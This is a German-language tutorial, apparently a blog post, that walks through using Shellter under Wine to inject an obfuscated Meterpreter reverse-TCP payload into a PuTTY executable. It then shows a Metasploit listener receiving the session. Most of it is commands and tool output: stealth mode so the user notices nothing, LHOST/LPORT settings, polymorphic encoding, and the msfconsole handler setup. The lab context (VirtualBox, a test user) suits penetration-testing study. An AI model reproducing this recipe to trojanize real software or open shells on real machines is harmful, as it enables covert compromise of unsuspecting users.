Weil jeder mal einen Zugang braucht
Shellter ist ein Shellcode-Injektions-Tool, das unter Linux angewendet werden kann. Es ermöglicht die Injektion von Schadcode in EXE-Dateien wie Putty. Zum Zeitpunkt dieses Beitrags gibt es eine kostenlose, aber auch eine kostenpflichtige Version. Die Unterschiede zeigen sich, wie in den meisten Fällen, bei der Optionsbreite des Programms. Die Shellcode-Injektion bietet eine raffinierte Möglichkeit, eine Reverse-Shell auf einem Opfersystem zu starten, ohne dass der Nutzer den Vorgang bemerkt. Wenn der Computer also noch nicht genug Probleme hat, kann mit Shellter nachgeholfen werden. Mit Hilfe dieses Programms können Schwachstellen in Anwendungen und Systemen präzise aufgedeckt und analysiert werden.
Bei dem unten aufgeführten Beispiel wird die Shellcode-Injektion in eine Putty.exe-Datei (32-Bit) durchgeführt. In der folgenden Tabelle sind alle nötigen Ressourcen verlinkt:
VirtualBox | https://www.virtualbox.org/wiki/Downloads |
Kali Linux | https://www.kali.org/get-kali/#kali-platforms |
Putty (32-Bit) | https://www.putty.org/ |
Shellter | https://www.shellterproject.com/ |
Shellcode-Injektion
Was für gängige Varianten der Shellcode-Injektion gibt es? Naja, die folgende Abbildung stellt den allgemeinen Programmfluss ohne Shellcode dar:
Der „einfachere“ Weg ein Stück Shellcode an eine Datei zu packen ist, ihn am Anfang oder am Ende dem Programm hinzuzufügen. Im allgemeinen kann das dann wie folgt dargestellt werden:
Eine „sportliche“ und anspruchsvolle Variante hingegen stellt die Injektion von Shellcode in den Programmfluss dar. Dabei kann auch der Shellcode aufgeteilt werden, solange der Pointer am Ende auf den nächsten Teil des eigentlichen Programms zeigt:
Die Vorteile der letzteren Variante ergeben sich aus der Dynamik, Shellcode an unterschiedlichen Stellen zu platzieren. Eine Injektion mehrerer Schadcodes ist ebenfalls eine gängige Variante und kann auch entsprechen obfuskiert und encodiert werden.
Putty und der Shellcode
Die Nutzung von Shellter ist unter Linux (zumindest bis zum jetzigen Zeitpunkt) nur durch Wine möglich. Für die Installation dieser Emulationsumgebung wird an der Stelle auf entsprechende Literatur verwiesen. Die Konfiguration von Wine kann wie folgt aufgerufen werden:
winecfg
Für diesen Zweck ist die einzig relevante Einstellung von Wine, meiner Meinung nach, die Auswahl der Windows-Version. Ich habe Shellter unter Windows 10 und Windows 11 getestet. Das Programm lief unter beiden Versionen so weit gut. Die folgende Abbildung zeigt einige Windows-Versionen, die von Wine unterstützt werden:
Für Shellter sind unter Linux keine Root-Rechte nötig. Wurde das Programm gestartet, erscheint die folgende Oberfläche:
Nun kann die eigentliche Injection in die Putty-EXE durchgeführt werden. Zuerst muss gesetzt werden, ob die Injection automatisiert oder manuell eingestellt werden soll. In diesem Fall habe ich mich für den automatisierten Modus entscheiden:
Die nächste Abfrage bezieht sich auf die zu infizierende EXE. Nachdem der Dateipfad mit Enter bestätigt wurde, erscheint die folgende Ausgabe:
PE Target: /home/sven/Desktop/putty.exe
**********
* Backup *
**********
Backup: Shellter_Backups\putty.exe
********************************
* PE Compatibility Information *
********************************
Minimum Supported Windows OS: 5.1
Note: It refers to the minimum required Windows version for the target
application to run. This information is taken directly from the
PE header and might be not always accurate.
******************
* Packed PE Info *
******************
Status: Possibly Not Packed - The EntryPoint is located in the first section!
***********************
* PE Info Elimination *
***********************
Data: Dll Characteristics (Dynamic ImageBase etc...), Digital Signature.
Status: All related information has been eliminated!
****************
* Tracing Mode *
****************
Status: Tracing has started! Press CTRL+C to interrupt tracing at any time.
Note: In Auto Mode, Shellter will trace a random number of instructions
for a maximum time of approximately 30 seconds in native Windows
hosts and for 60 seconds when used in Wine.
DisASM.dll was created successfully!
Instructions Traced: 2426
Tracing Time Approx: 1.04 mins.
Starting First Stage Filtering...
*************************
* First Stage Filtering *
*************************
Filtering Time Approx: 0.00432 mins.
Der Stealth-Mode dient dazu, dass die eigentliche Anwendung (hier Putty) nach der Aktivierung des Shellcodes normal weiterläuft. Da dem Nutzer nicht auffallen soll, dass eine Reverse-Shell aufgebaut wird, sollte der Stealth -Mode enabled werden. Anschließend werden verschiedene Payloads aufgelistet, die injiziert werden können. Wie ebenfalls in der folgenden Darstellung hinzugefügt, muss der LHOST (IP der Angriffs-VM) und der LPORT (Port auf dem ein Listener gesetzt wird) angegeben werden. Die folgende Darstellung bildet einen kompletten Injektionsvorgang mit Shellter ab:
Enable Stealth Mode? (Y/N/H): y
************
* Payloads *
************
[1] Meterpreter_Reverse_TCP [stager]
[2] Meterpreter_Reverse_HTTP [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP [stager]
[5] Shell_Reverse_TCP [stager]
[6] Shell_Bind_TCP [stager]
[7] WinExec
Use a listed payload or custom? (L/C/H): l
Select payload by index: 1
***************************
* meterpreter_reverse_tcp *
***************************
SET LHOST: 192.168.177.7
SET LPORT: 4040
****************
* Payload Info *
****************
Payload: meterpreter_reverse_tcp
Size: 281 bytes
Reflective Loader: NO
Encoded-Payload Handling: Enabled
Handler Type: IAT
******************
* Encoding Stage *
******************
Encoding Payload: Done!
****************************
* Assembling Decoder Stage *
****************************
Assembling Decoder: Done!
***********************************
* Binding Decoder & Payload Stage *
***********************************
Status: Obfuscating the Decoder using Thread Context Aware Polymorphic
code, and binding it with the payload.
Please wait...
Binding: Done!
*********************
* IAT Handler Stage *
*********************
Fetching IAT Pointers to Memory Manipulation APIs...
0. VirtualAlloc --> N/A
1. VirtualAllocEx --> N/A
2. VirtualProtect --> N/A
3. VirtualProtectEx --> N/A
4. HeapCreate/HeapAlloc --> N/A
5. LoadLibrary/GetProcAddress --> IAT[4ffe30]/IAT[4ffda8]
6. GetModuleHandle/GetProcAddress --> IAT[4ffd9c]/IAT[4ffda8]
7. CreateFileMapping/MapViewOfFile --> IAT[4ffcdc]/IAT[4ffe50]
Using Method --> 6
***************************
* IAT Handler Obfuscation *
***************************
Status: Binding the IAT Handler with Thread Context Aware Polymorphic code.
Please wait...
Code Generation Time Approx: 0.718 seconds.
*************************
* PolyMorphic Junk Code *
*************************
Type: Engine
Generating: ~502 bytes of PolyMorphic Junk Code
Please wait...
Generated: 504 bytes
Code Generation Time Approx: 0.565 seconds.
Starting Second Stage Filtering...
**************************
* Second Stage Filtering *
**************************
Filtering Time Approx: 0.0103 mins.
*******************
* Injection Stage *
*******************
Virtual Address: 0x4b961a
File Offset: 0xb8a1a
Section: .text
Adjusting stub pointers to IAT...
Done!
Adjusting Call Instructions Relative Pointers...
Done!
Injection Completed!
*******************
* PE Checksum Fix *
*******************
Status: Valid PE Checksum has been set!
Original Checksum: 0x16c3ef
Computed Checksum: 0x174ca5
**********************
* Verification Stage *
**********************
Info: Shellter will verify that the first instruction of the
...
Warning!
If the PE target spawns a child process of itself before
...
Injection: Verified!
Nach diesem Vorgang wurde der ausgewählte Shellcode erfolgreich in die Putty-EXE injiziert. Nun ist die infizierte Putty-Datei bereit, auf einem Windows-System ausgeführt zu werden. Bevor dieser Vorgang gestartet wird, muss die Reverse-Shell jedoch noch vom Angriffssystem angenommen werden können. Dazu wird, wie im folgenden Abschnitt gezeigt, ein Listener auf den Port 4040 gesetzt.
MSF und der Listener
Das Metasploit-Framework (MSF) bietet eine einfache Möglichkeit, in wenigen Schritten einen Listener für Meterpreter-Shells auf einen bestimmten Port zu setzen. Eine kurze Beschreibung findet sich auch auf der Seite Reverse-Shells.
Zuerst wird die DB-Anbindung und anschließend die Metasploit-Framework-Konsole gestartet:
sudo msfdb start
sudo msfconsole
Ein kurzer Check der Datenbankverbindung schadet nicht:
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
Nachdem die DB-Verbindung erfolgreich aufgebaut wurde, kann der Listener mit den folgenden Settings erstellt werden:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.177.7
LHOST => 192.168.177.7
msf6 exploit(multi/handler) > set LPORT 4040
LPORT => 4040
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.177.7:4040
Durch den Befehl exploit, wird der Listener auf Port 4040 aktiviert. Nun kann die Reverse-Shell entgegengenommen und eine Meterpreter-Session aufgebaut werden. Wie die folgende Abbildung zeigt, kann Putty ausgeführt und normal benutzt werden:
Im Hintergrund wurde bereits eine Meterpreter-Session auf dem Angriffssystem entgegengenommen und eine Session eröffnet:
[*] Sending stage (176198 bytes) to 192.168.177.6
[*] Meterpreter session 2 opened (192.168.177.7:4040 -> 192.168.177.6:49674) at 2024-06-25 18:51:09 +0200
meterpreter > pwd
C:\Users\Student\Desktop
meterpreter >